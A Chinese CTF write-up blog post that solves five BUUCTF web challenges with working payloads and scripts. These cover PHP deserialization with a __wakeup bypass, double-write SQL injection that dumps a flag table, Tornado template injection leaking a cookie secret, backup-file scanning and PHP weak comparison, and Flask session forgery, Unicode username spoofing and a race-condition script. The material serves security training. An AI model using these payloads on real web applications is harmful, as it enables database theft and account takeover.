前言:排名又涨了一点,不过涨幅明显低了,开始步入和活跃刷题师傅的竞争了,李师傅冲!
16.[极客大挑战 2019]PHP
这道题纪律性的检查了一遍但是并没有发现什么奇怪的地方,emmmm这个题该从哪里入手呢?
题目提示:
因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯不愧是我!!!
备份!尝试使用脚本扫描备份文件:
废话不多说直接上脚本:
import requests
url1 = 'http://a1e15abf-0034-41f1-81de-93f4938b7696.node4.buuoj.cn:81'
# url为被扫描地址,后不加‘/’
# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in list1:
for j in list2:
back = str(i) + '.' + str(j)
url = str(url1) + '/' + back
print(back + ' ', end='')
print(requests.get(url).status_code)
其它都是404,但是有一个被扫描出来了:
www.zip 200
那我就去访问一下,是一个压缩包,下载之后得到这些文件:
里面直接就有flag.php,打开发现是个假的flag。
继续查看index.php文件,其中包括源码:
包含有class.php,并且通过GET方式传入了参数select
查看class.php文件:
魔术方法 __wakeup()
- 首先看如何得flag,一看就很明显了,需要反序列化后满足 password = 100 和username === 'admin'
- 然后看到魔术方法 __wakeup()和 ,该函数会在执行unserialize时触发,执行后变量username的值将变成guest
- 但这个绕过是很简单的,只需要在反序列化前修改字符串中表示对象里属性的个数的数字。但实际却发现,只修改这里后再传入还
是会有问题。 - 这里专门开一篇单独的文章来详细探讨这个问题想把这道题弄清楚的必须要去看:PHP序列化
- 发现触发报错,说明变量username 和 password 没有被正确赋值 但是在序列化前已经让变量赋值了,其实是private 和
public 的问题。
这里在解出来最后一步payload之前科普一下知识点(记笔记):
1.public;protected与private在序列化时的区别:
Public (公共的):
可以在程序中的任何位置(类内、类外)被其他的类和对象调用。子类可以继承和使用父类中所有的公共成员。
Private (私有的):
被Private修饰的变量和方法,只能在所在的类的内部被调用和修改,不可以在类的外部被访问。在子类中也不可以
**如果直接调用,就会发生错误**
Protect (受保护的):
用Protected修饰的类成员,可以在本类和子类中被调用,但是在其他地方不能被调用
各访问修饰符序列化后的区别:
Public:属性被序列化的时候属性名还是原来的属性名,没有任何改变
Protected:属性被序列化的时候属性名会变成%00*%00属性名,长度跟随属性名长度而改变
Private:属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变
protected:声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。
因此保护字段的字段名在序列化时,字段名前面会加上0*0的前缀。这里的 0 表示 ASCII 码为 0 的字符(不可见字符),而不是 0 组合。
这也许解释了,为什么如果直接在网址上,传递0*0username会报错,因为实际上并不是0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
private:声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度。其中 0 字符也是计算长度的。
2.__wakeup()方法绕过
作用:
与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。
绕过:
当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup()函数的执行。
这里的username 和 password都为私有成员。理论上序列化后应该会有所不同,但实际上却没变化
Private在序列化中类名和字段名前都要加上ASCII 码为 0 的字符(不可见字符),如果我们直接复制结果,该空白字符会丢失
所以前面说加%00的目的就是用于替代0 .
解题:
反序列化绕过一下__wakeup即可,POC如下:
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$res = new Name();
echo serialize($res);
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
私有属性将序列化出来的字符串中的类名两侧换成%00并且将属性个数调至3或者更高:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
这里熟练之后还可以有更直接的操作:
payload:
import requests
url ="http://4bd228c4-6375-4deb-9fe2-e73cb1258972.node4.buuoj.cn:81/"
html = requests.get(url+'?select=O:4:"Name":3:
{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)
不愧是我!!! 爬虫什么时候都好使。开心!!!
17.[极客大挑战 2019]BabySQL
username:admin
password:1' or 1=1
这次题目说过滤了不少,那就一个一个来试试看吧:
username:1' order by 2#
password:1
(1)基础过滤测试 union 、select 、information_schema试试有没有被过滤
payload:?username=admin&password=pwd %27 union select 1 %23
具体回显如下:只保留了 1# ,这就说明被检测到了union和select
(2)试一下双写(原理是猜测使用replace函数,查找到union和select等然后替换为空)
payload:?username=admin&password=pwd %27 ununionion seselectlect 1 %23
因为现在的列数还不对:The used SELECT statements have a different number of columns
翻译:使用的 SELECT 语句具有不同的列数
(3)修改payload
因为不知道列数有几列,这就需要我慢慢试:
加一下列数,发现测试到3的时候,出现了对我们很友善的回显,注意看会显得数字 2 和 3 这是我们注入的第二列和第三列。
payload:?username=admin&password=pwd %27 ununionion seselectlect 1,2,3 %23
(4)既然是mariadb就测试一下version函数能不能用吧:
payload:?username=admin&password=pwd %27 ununionion seselectlect 1,2,version() %23
(5)开始爆库,发现当前连接的数据库是geek。
payload:?username=admin&password=pwd%20%27 ununionion seselectlect 1,2,database() %23
(6)爆所有数据库名字
payload:?username=admin&password=pwd %27 ununionion seselectlect
1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
(7)发现了ctf库,推测这是有flag的库 ,当然其它的库也有可能。
爆表:此时注意information被过滤了or,from也被过滤了,还包括where所以都双写一下(原因是,一般处理方式都为同一种)
一.发现被过滤的payload ,用geek库做示例:
payload:?username=admin&password=pwd%20%27 ununionion seselectlect 1,2,
group_concat(table_name)from(information_schema.tables)whwhereere table_schema="geek" %23
二.双写后成功的payload;geek库的表
payload:?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="geek" %23
三.ctf库的表;此处发现Flag表
payload:?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23
四.查Flag表中的字段名都有什么
payload:?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name="Flag"%23
五.最后查最后的数据,从ctf库中Flag表中的flag字段查一下有啥
payload:?username=admin&password=pwd %27 ununionion seselectlect
1,2,group_concat(flag)frfromom(ctf.Flag)%23
18.[护网杯 2018]easy_tornado
/flag.txt
flag in /fllllllllllllag 说明flag在/fllllllllllllag里面
/welcome.txt
render render()函数是渲染函数,进行服务器端渲染
/hints.txt
md5(cookie_secret+md5(filename))
这三个文件更像是在说这道题的要求,reader()函数联想到模板注入:±*/等符号,都被过滤,经过测试发现^没被过滤,成功回显。
通过面向WriteUp得Tornado框架的附属文件handler.settings中存在cookie_secret
尝试构造payload:
error?msg={{handler.settings}}
结合之前访问/flag.txt、/welcome.txt、/hints.txt页面时后面都带了md5值,和/hints.txt给的信息:
(1)cookie_secret为:561831fe-515c-45bc-b48c-922e1ba1079f
(2)filename就是/fllllllllllllag,md5解密后为3bf9f6cf685a6dd8defadabfb41a03a1
(3)cookie_secret和filename连接后再进行md5加密:
cookie_secret:
561831fe-515c-45bc-b48c-922e1ba1079f
filename:
3bf9f6cf685a6dd8defadabfb41a03a1
拼接:
561831fe-515c-45bc-b48c-922e1ba1079f3bf9f6cf685a6dd8defadabfb41a03a1
拼接md5加密得到:
e54927d9887a4ea80c1eb388b0f0edf8
构造payload:
file?filename=/fllllllllllllag&filehash=88ee0d790f71a228eb4569a49080cd66
19.[ACTF2020 新生赛]BackupFile
这道题根据题目的意思应该是让找备份文件,果然是新手赛题,直接开干。
常见的备份文件后缀名有 .git .svn .swp .~ .bak .bash_history
于是用dirsearch扫描目录:
python dirsearch.py -u "http://d12052a4-5159-48a3-9982-d3872cbd6ed0
.node4.buuoj.cn:81/" -t 5 -i 200 -e *
使用方法:1.在终端切换到安装目录
2.python dirsearch.py -u 网址 -e 语言(一般用*)
不知道是网络的原因还是什么情况,我扫了三次才扫出来(字典得用自己的哦,程序自带的字典肯定是不会有flag.php的)
flag.php
index.php.bak
分别访问一下,flag.php是空的,index.php.bak自动下载了一个文件,解压打开看看。
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
可以看到输出flag的条件是:key==str,这里是“==”,用到了php弱类型比较
加上?key=123,str的字符串转换为数字就是123,使得key和str相等。
知识点:
1.php中==是弱等于,不会比较变量类型;===是强等于,会先比较变量类型
2.“0e"开头跟数字的字符串(例如"0e123”)会当作科学计数法去比较,所以和0相等
3.“0x"开头跟数字的字符串(例如"0x1e240”)会被当作16进制数去比较
4.布尔值true和任意字符串都弱相等
5.当比较的一方是字符串时,会先把其转换为数字,不能转换为数字的字符串(例如"aaa"是不能转换为数字的字符串,而"123"或"123aa"或"0x10"或"2e2"就是可以转换为数字的字符串)或null,被转换为0
6.在PHP中遇到数字与字符串进行松散比较时,会将字符串中前几位是数字且数字后面不是”.",“e"或"E"的子串转化为数字,与数字进行比较,如果相同则返回为true,不同返回为false,后面的所有字符串直接截断扔掉
20.[HCTF 2018]admin
题目是一个CTF的欢迎界面,右上角有两个功能,一个是登录,一个是注册。
那我们先注册一个账户:登录进去发现多了几个选项,包括index,post,change password,logout
开始纪律性检查,查看源码:
看来我们得创建一个admin账户,退回去重新注册:
回去继续查看源码,在这个页面发现了这个地址,进去看看
发现提供了题目的源码地址,发现是用flask写的,我们就直接去看一下路由:(route)
@app.route('/code')
def get_code():
@app.route('/index')
def index():
@app.route('/register', methods = ['GET', 'POST'])
def register():
@app.route('/login', methods = ['GET', 'POST'])
def login():
@app.route('/logout')
def logout():
@app.route('/change', methods = ['GET', 'POST'])
def change():
@app.route('/edit', methods = ['GET', 'POST'])
def edit():
发现就存在登录、注册、改密码、退出、edit这几个功能,下面我就来具体分析一下这几种解法:
解法1.flask session伪造
想要伪造session,需要先了解一下flask中session是怎么构造的。
flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
(1)我们可以通过脚本将session解密一下:
Session:
session=.eJw90MGOgkAMBuBX2fTsAWG4mHjYZFayJmXCZoB0LkYRgcG6CWqAMb77
jh720MPfpF_aPmB3GuprC6vbcK8XsOuOsHrAxwFWgCUK4uJsSnTI35HPM1ljVUIRJ
mmnZCZ8zUpvrZJFa2weGP0Zk6tmlM2E0s_ZXChdRRSiMwlNSppWlVuLIQp0P62SG0
5fnsVZJfmUahqNJYEyj1990o3PfUScWnT5kjiLvcTk-hmZAnKZwDJbw3MB1XU47W6
_fX35P8FzAemiQ84iv7ag0PToR41tppS_RuJNn8ozK-1524RGZgGN6zd32XPtif2R
uwss4H6th_d3YAnPP0GgZfw.YUr2qQ.uP1i2je9HKb4kJAr8Fcxqdsk3xM
脚本:
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
(2)但是如果我们想要加密伪造生成自己想要的session还需要知道SECRET_KEY,然后我们在config.py里发现了SECRET_KEY
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
(3)然后在index.html页面发现只要session[‘name’] == 'admin’即可以得到flag
(4)我们找一个flak session加密的脚本:
于是我们找了一个flask session加密的脚本flask session加密脚本
利用刚刚得到的SECRET_KEY,在将解密出来的name改为admin,最后用脚本生成我们想要的session即可 .eJw90MGOgkAMBuBX2fTsAWG4mHjYZFayJmXCZoB0LkYRgcG6CWqAMb77jh720MPfpF_aPmB3GuprC6vbcK8XsOuOsHrAxwFWgCUK4uJsSnTI35HPM1ljVUIRJmmnZCZ8zUpvrZJFa2weGP0Zk6tmlM2E0s_ZXChdRRSiMwlNSppWlVuLIQp0P62SG05fnsVZJfmUahqNJYEyj1990o3PfUScWnT5kjiLvcTk-hmZAnKZwDJbw3MB1XU47W6_fX35P8FzAemiQ84iv7ag0PToR41tppS_RuJNn8ozK-1524RGZgGN6zd32XPtif2Ruwss4H6th_d3YAnPP0GgZfw.YUr74A.FsAOhZBi87kdoxmeX2x-B_0PzL0
这个项目有python2和python3,虽然flask Session生成方式不同,可是利用上述脚本生成的session都可以得到flag
这里用Burp Suite抓包后发到Repeater然后修改cookie session为我们自己生成的就可以,然后send就搞定了,这里我就不演示了,如果操作有难度我可以帮你搞定。
解法2:Unicode欺骗
仔细观察路由发现在修改密码的时候先将name转成小写,难道是登陆注册的时候没有转吗?
跟进一下register、login
发现都用strlower()来转小写,但是python中已经自带转小写函数lower(),看看有什么不一样的,跟进一下strlower函数
strlower()函数:
def strlower(username):
username = nodeprep.prepare(username)
return username
这里用的nodeprep.prepare函数,而nodeprep是从Twisted模块导入的,在requirements.txt文件中发现Twisted==10.2.0,而官网最新已经到了19.7.0(2019/9),版本差距很大,应该会存在漏洞。
这里为了方便我们可以用在线网站转换成Unicode编码:站长工具
然后我们发现在使用nodeprep.prepare函数转换时过程如下:
ᴬᴰᴹᴵᴺ -> ADMIN -> admin
解题操作:
假如我们注册ᴬᴰᴹᴵᴺ用户,然后在用ᴬᴰᴹᴵᴺ用户登录,因为在login函数里使用了一次nodeprep.prepare函数,因此我们登录上去看到的用户名为ADMIN,此时我们再修改密码,又调用了一次nodeprep.prepare函数将name转换为admin,然后我们就可以改掉admin的密码,最后利用admin账号登录即可拿到flag。
解法3:条件竞争(可略过)
这个漏洞应该是属于代码逻辑上的漏洞,根据面向wp理论,写一下给大家一点思路吧。
在session赋值时,登录、注册都是直接进行赋值,未进行安全验证,也就可能存在以下一种可能:
我们注册一个用户test,现在有一个进程1一直重复进行登录、改密码操作,进程2一直注销,且以admin用户和进程1所改的密码进行登录,是不是有可能当进程1进行到改密码操作时,进程2恰好注销且要进行登录,此时进程1改密码需要一个session,而进程2刚好将session[‘name’]赋值为admin,然后进程1调用此session修改密码,即修改了admin的密码。
不过从理论上来讲应该是能够改掉admin的密码的,可是在实际测试并没有成功。
脚本:
import requests
import threading
def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/login", data=data)
def logout(s):
return s.get("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/logout")
def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/change", data=data)
def func1(s):
login(s, 'test', 'test')
change(s, 'test')
def func2(s):
logout(s)
res = login(s, 'admin', 'test')
if 'flag' in res.text:
print('finish')
def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()
if __name__ == "__main__":
main()